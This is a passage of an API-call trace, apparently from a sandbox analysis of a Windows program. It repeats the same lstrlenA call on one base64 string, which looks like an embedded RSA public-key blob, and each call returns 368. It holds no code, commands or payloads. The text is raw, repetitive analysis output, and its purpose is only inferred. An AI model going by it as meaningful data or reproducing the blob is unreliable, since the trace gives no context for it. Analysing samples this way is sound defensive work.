(lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.875] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.875] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.875] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.875] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.875] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.875] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.875] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.875] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.875] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.875] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.875] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.875] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.875] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.875] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.875] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.875] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.875] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.875] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.875] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.875] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.875] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.875] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.875] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.875] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.875] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.875] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.875] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.875] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.875] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.875] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.875] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.875] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.875] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.875] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.875] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.875] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.875] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.875] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.875] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.875] lstrlenA 